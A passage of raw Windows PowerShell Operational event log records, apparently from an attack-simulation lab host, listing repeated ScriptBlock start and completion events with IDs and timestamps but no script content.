SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046080
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046079
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046057
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046056
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046055
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046054
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046038
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046037
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046032
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046031
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
